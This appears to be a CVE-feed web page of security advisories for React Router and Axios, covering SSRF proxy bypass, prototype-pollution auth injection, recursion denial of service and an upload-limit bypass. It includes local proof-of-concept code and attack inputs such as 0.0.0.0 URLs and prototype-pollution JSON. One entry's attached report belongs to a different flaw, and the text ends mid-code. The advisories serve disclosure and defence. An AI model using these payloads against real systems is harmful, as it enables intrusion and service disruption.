Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

30threats · React SPA · Medium· page 1/2
Get guardrails →

React Router: Open redirect via backslash in <Link> and useNavigate (CVE-2025-68470 bypass)

This is a follow up to CVE-2025-68470. React Router was alerted to certain scenarios in which the fix there was incomplete so there still existed some scenarios where attacker supplied paths passed to navigation mechanisms could result in unexpected external navigations.

React Router: Open redirect leading to XSS

Applications with open redirects could permit attacker crafted links to result in redirects to unexpected external location or XSS vectors.

OWASP A03OWASP Web
Get guardrail →

React Router: RSCErrorHandler Missing Protocol Validation (XSS)

This is a follow up to https://github.com/remix-run/react-router/security/advisories/GHSA-8646-j5j9-6r62. React Router was alerted of a code path in the (unstable) RSC error handling path in which redirects from untrusted sources could still result in an XSS vector via attacker-supplied redirect targets > [!NOTE] > This only affects your application if you are using the unstable RSC APIs

OWASP A03OWASP Web
Get guardrail →

React Router: Arbitrary Constructor Injection via deserializeErrors() in React Router SSR Hydration

If application code allows attacker supplied input to overwrite certain aspects of errors caught by the SSR process, then it was possible for attacker to trigger unexpected constructor execution on the client which would trigger outbound network traffic. This is only possible with very specific (and unlikely) application layer code. > [!NOTE] > This does not impact your application if you are using Declarative Mode. This only impacts Framework Mode and Data Mode applications doing manual SSR/hydration

Axios: HTTP/2 streamed uploads bypass `maxBodyLength`

Summary Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2. This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent. Impact An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit. Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control. Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary. Affected Functionality Affected calls require all of the following: Node.js HTTP adapter. httpVersion: 2. Request data supplied as a stream. A finite maxBodyLength. Attacker-controlled or attacker-influenced stream contents. Unaffected or differently affected paths: String, Buffer, and ArrayBuffer request bodies are checked before transport selection. Browser XHR/fetch adapters are not affected. HTTP/1.1 requests using follow-redirects enforce options.maxBodyLength. In axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams. Technical Details In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option. The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream. Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2. No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path. Proof of Concept of Attack ``js import http2 from 'node:http2'; import {Readable} from 'node:stream'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http2.createServer(); server.on('stream', (stream) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({':status': 200, 'content-type': 'application/json'}); stream.end(JSON.stringify({received, limit: LIMIT})); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); function makeBody(total) { const chunk = Buffer.alloc(64 1024, 0x41); let remaining = total; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; this.push(next); } }); } try { const response = await axios.post( http://127.0.0.1:${server.address().port}/upload, makeBody(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, headers: {'content-type': 'application/octet-stream'} } ); console.log(response.data); // Vulnerable result: { received: 2097152, limit: 1024 } } finally { server.close(); } ` Workarounds For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path. For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium. <details> <summary>Original Report</summary> Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 ` if (isHttp2) { transport = http2Transport; } else { const configTransport = own('transport'); if (configTransport) { transport = configTransport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http; isNativeTransport = true; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } const configBeforeRedirect = own('beforeRedirect'); if (configBeforeRedirect) { options.beforeRedirects.config = configBeforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } } ` maxBodyLength is then stored on the request options: http.js Lines 958-963 ` if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } ` …but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 ` // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength; let bytesSent = 0; uploadStream = stream.pipeline( [ data, new stream.Transform({ transform(chunk, _enc, cb) { bytesSent += chunk.length; if (bytesSent > limit) { return cb( new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, req ) ); } cb(null, chunk); }, }), ], utils.noop ); uploadStream.on('error', (err) => { if (!req.destroyed) req.destroy(err); }); } uploadStream.pipe(req); ` For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. PoC ` import http2 from 'node:http2'; import { Readable } from 'node:stream'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; // Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an // http://... authority, which mirrors what axios does when the request URL // uses http:// and httpVersion: 2. const server = http2.createServer(); server.on('stream', (stream, _headers) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({ ':status': 200, 'content-type': 'application/json', }); stream.end(JSON.stringify({ received, limit: LIMIT })); }); stream.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeBodyStream(totalBytes) { const CHUNK = Buffer.alloc(64 1024, 0x41); let remaining = totalBytes; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; this.push(next); }, }); } try { let result; try { const response = await axios.post(http://127.0.0.1:${port}/upload, makeBodyStream(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, // We intentionally do NOT set maxRedirects: 0 — that flag activates the // existing HTTP/1 byte-counting wrapper. The bug under test is that the // HTTP/2 transport path skips that wrapper entirely. headers: { 'content-type': 'application/octet-stream' }, // Omit content-length so the body is streamed without a known length. }); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: HTTP/2 maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.'); process.exitCode = 1; } } finally { server.close(); // http2 sessions cached by axios may keep the event loop alive; force exit // after the assertion so the script returns instead of idling on TCP keep-alive. setImmediate(() => process.exit(process.exitCode || 0)); } `` Impact Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

Summary Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it. The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue. Impact Applications are affected when all of the following are true: The application runs axios in Node.js with the HTTP adapter. The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY. The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path. Attacker-controlled input can influence the request URL or redirect target. The configured proxy does not reject 0.0.0.0 and can reach the local destination. For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions. Affected Functionality Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter: lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy. lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries. Explicit caller-provided config.proxy remains trusted caller configuration. Browser, React Native, XHR, and fetch adapter behavior are not affected. Technical Details lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0. At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback: ``js return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); ` Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy. Proof of Concept of Attack `js import http from 'http'; import axios from './index.js'; const listen = (handler, host = '127.0.0.1') => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, host, () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const origin = await listen((req, res) => res.end('origin'), '0.0.0.0'); let proxyRequests = 0; const proxy = await listen((req, res) => { proxyRequests += 1; res.end('proxied'); }); process.env.http_proxy = http://127.0.0.1:${proxy.address().port}; process.env.HTTP_PROXY = process.env.http_proxy; process.env.no_proxy = 'localhost,127.0.0.1,::1'; process.env.NO_PROXY = process.env.no_proxy; try { const direct = await axios.get(http://127.0.0.1:${origin.address().port}/); const zero = await axios.get(http://0.0.0.0:${origin.address().port}/); console.log({ direct: direct.data, zero: zero.data, proxyRequests }); } finally { await close(origin); await close(proxy); } ` Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations. Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy. Workarounds Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies. Reject or normalize 0.0.0.0 in application URL validation before calling axios. Set proxy: false on axios requests that must never use environment proxies. Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges. <details> <summary>Original Report</summary> Summary axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon. Details Affected versions >= 1.15.0, <= 1.16.1 The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #10661). --- Root cause File: lib/helpers/shouldBypassProxy.js ``javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): const LOOPBACK_HOSTNAMES = new Set(['localhost']); const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); }; </details>

OWASP A10LLM02 · Insecure OutputOWASP Web
Get guardrail →

Axios: Excessive recursion in formDataToJSON can cause denial of service

Summary Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type. Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination. Impact The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion. The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously. Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON. Affected Functionality Affected APIs and paths: axios.formToJSON(formData) import { formToJSON } from "axios" lib/helpers/formDataToJSON.js axios default transformRequest when data is FormData and Content-Type contains application/json Unaffected or lower-risk paths: Normal multipart FormData requests without JSON Content-Type toFormData() object-to-FormData serialisation, which already has a maxDepth guard Axios versions before 0.28.0, where this helper and public API were not present Technical Details lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element. formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth: const result = buildPath(path, value, target[name], index); A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded. Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection. Proof of Concept of Attack ``js import { formToJSON } from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); try { formToJSON(fd); console.log("not vulnerable"); } catch (err) { console.log(${err.constructor.name}: ${err.message}); } ` Expected vulnerable result: RangeError: Maximum call stack size exceeded The axios request transform path can also be reached before network I/O: `js import axios from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); await axios .post("http://127.0.0.1:1/", fd, { headers: { "Content-Type": "application/json" } }) .catch((err) => console.log(${err.constructor.name}: ${err.message})); ` Expected vulnerable result: RangeError: Maximum call stack size exceeded Workarounds Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios. If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema. For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON(). Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation. <details> <summary>Original Report</summary> Axios SSRF via Incomplete Loopback Detection CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | 2. Description Summary The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. Root Cause File: lib/helpers/shouldBypassProxy.js isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface. isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised. Attack Flow: ` isIPv4Loopback (line 3) — fails for 0.0.0.0 → isLoopback (line 44) — wraps both checks, returns false → shouldBypassProxy (line 127) — PUBLIC API, exported default → lib/adapters/http.js (line 190) — Node.js HTTP adapter ` Attack Vector Access Vector: Network (AV:N) Access Complexity: Low (AC:L) — attacker only needs control of a URL Privileges Required: None (PR:N) User Interaction: None (UI:N) 3. Proof of Concept Phase 1: Logic Verification `javascript import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // Normal loopback — correctly returns true (bypasses proxy) shouldBypassProxy('http://127.0.0.1:9999/'); // → true // Vulnerable — returns false (goes through proxy!) shouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF shouldBypassProxy('http://[::]:9999/'); // → false ← SSRF shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF ` Phase 2: Docker E2E Reproduction A full 3-container Docker reproduction was created and tested: Proxy container: Simple HTTP forward proxy on port 8888 Internal container: Internal service on port 9999 (simulates sensitive internal resource) Attacker container: Runs the test script with Axios source mounted Reproduction steps: `bash cd /tmp/deep-e2e docker compose up -d docker compose exec attacker node test-ssrf.js ` Results: Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct) Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF) Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF) Phase 3: Actual Axios Client The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration: Axios with proxy: { host: 'proxy', port: 8888 } Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/ Result: Axios forwarded the request through the proxy instead of bypassing it 4. Impact Attack Scenario 1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain) 2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services 3. Attacker supplies http://0.0.0.0:8080/admin as the target URL 4. Axios sends the request through the proxy 5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080 Potential Consequences Information disclosure (C:L): Internal service responses become accessible Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE) Availability impact (A:L): Limited — depends on internal service behavior Likelihood High — proxy bypass is a common pattern in microservice architectures Medium — requires attacker control of a URL (not always available) 5. Remediation Code Fix File: lib/helpers/shouldBypassProxy.js `javascript function isIPv4Loopback(host) { if (host === '0.0.0.0') return true; // ADD THIS LINE const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); } function isIPv6Loopback(host) { if (host === '::1' || host === '::') return true; // ADD '::' // ... rest of implementation } ` Workarounds Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs Implement URL validation to reject 0.0.0.0 and ::` before passing to Axios

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios: Prototype pollution auth subfields can inject Basic auth

Summary Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}. Impact An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield. Affected Functionality Affected functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js. Requests where config.auth is an own object but username and/or password are absent own properties. Unaffected or not accepted as core impact: Requests with no own auth object after mergeConfig(). Requests with own auth.username and auth.password values. Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening. Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary. Technical Details mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype. In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly: ``js const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain. The same pattern exists in lib/helpers/resolveConfig.js: `js if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ` The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere. Proof of Concept of Attack Safe local PoC against published axios@1.16.1: `js const http = require('node:http'); const axios = require('axios'); Object.prototype.username = 'victim-user'; Object.prototype.password = 'victim-password-leaked'; const server = http.createServer((req, res) => { console.log({ url: req.url, authorization: req.headers.authorization || null }); res.end('{}'); server.close(() => { delete Object.prototype.username; delete Object.prototype.password; }); }); server.listen(0, '127.0.0.1', async () => { await axios.get(http://127.0.0.1:${server.address().port}/api, { auth: {} }); }); ` Expected output: `json { "url": "/api", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` The base64 value decodes to victim-user:victim-password-leaked. Workarounds Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values. Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}. Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields. <details> <summary>Original Report</summary> Summary After GHSA-q8qp-cvcw-x6jj / PR #10779 (shipped in v1.15.2) and the further proxy-side hardening in PR #10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype. When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against axios main HEAD (34723be, dated 2026-05-24) as well as the released v1.16.1. Details Three still-unguarded read sites on main HEAD: (1) lib/adapters/http.js lines 737–740 (Node http adapter): `js const configAuth = own('auth'); // ← top-level guard OK if (configAuth) { const username = configAuth.username || ''; // ← reads .username on the inherited chain const password = configAuth.password || ''; // ← reads .password on the inherited chain auth = username + ':' + password; } ` own('auth') correctly applies hasOwnProp to the top-level auth key. But once configAuth is the empty object the caller passed (auth: {}), configAuth.username walks the prototype chain and picks up Object.prototype.username. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): `js const authUsername = authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined; const authPassword = authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined; ` This is the exact pattern needed at lines 739–740 too. (2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver): `js const auth = own('auth'); // ← top-level guard OK ... btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) // ^ .username and .password read directly on auth, no hasOwnProp guard ` Same shape — top-level guarded, sub-fields walk prototype. (3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer): `js newConfig.url = buildURL( buildFullPath(baseURL, url, allowAbsoluteUrls), config.params, // ← direct read, not through own() config.paramsSerializer // ← direct read, not through own() ); ` This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover. PoC This PoC contains zero direct Object.prototype.x = y writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads, still walks constructor.prototype). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via __proto__ and is more common in real codebases than any named utility. `js #!/usr/bin/env node 'use strict'; const http = require('node:http'); const axios = require('axios'); const defaultsDeep = require('defaults-deep'); // Defensive: scrub any prior pollution const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer']; function scrub() { for (const k of PROTO_KEYS) { try { delete Object.prototype[k]; } catch (_) {} } } scrub(); // 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST const attackerBody = JSON.parse({ "constructor": { "prototype": { "username": "victim-user", "password": "victim-password-leaked", "params": {"leak": "ATTACKER_QUERY_TOKEN"} } } }); // 2) Realistic application pattern: merge user options into defaults const appDefaults = { timeout: 5000 }; defaultsDeep(appDefaults, attackerBody); // After this line: // Object.prototype.username === "victim-user" // Object.prototype.password === "victim-password-leaked" // Object.prototype.params === { leak: "ATTACKER_QUERY_TOKEN" } // 3) Capture outbound request on a local listener const server = http.createServer((req, res) => { console.log('=== captured outbound request ==='); console.log(JSON.stringify({ method: req.method, url: req.url, authorization: req.headers.authorization || null, }, null, 2)); res.end('{}'); server.close(); scrub(); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // 4) Realistic application wrapper: optional per-call overrides. // auth: opts.auth || {} is the common pattern — empty own object, // but inherited values walk the prototype chain. function makeRequest(targetUrl, opts = {}) { return axios.get(targetUrl, { timeout: 5000, auth: opts.auth || {}, params: opts.params || {}, }); } 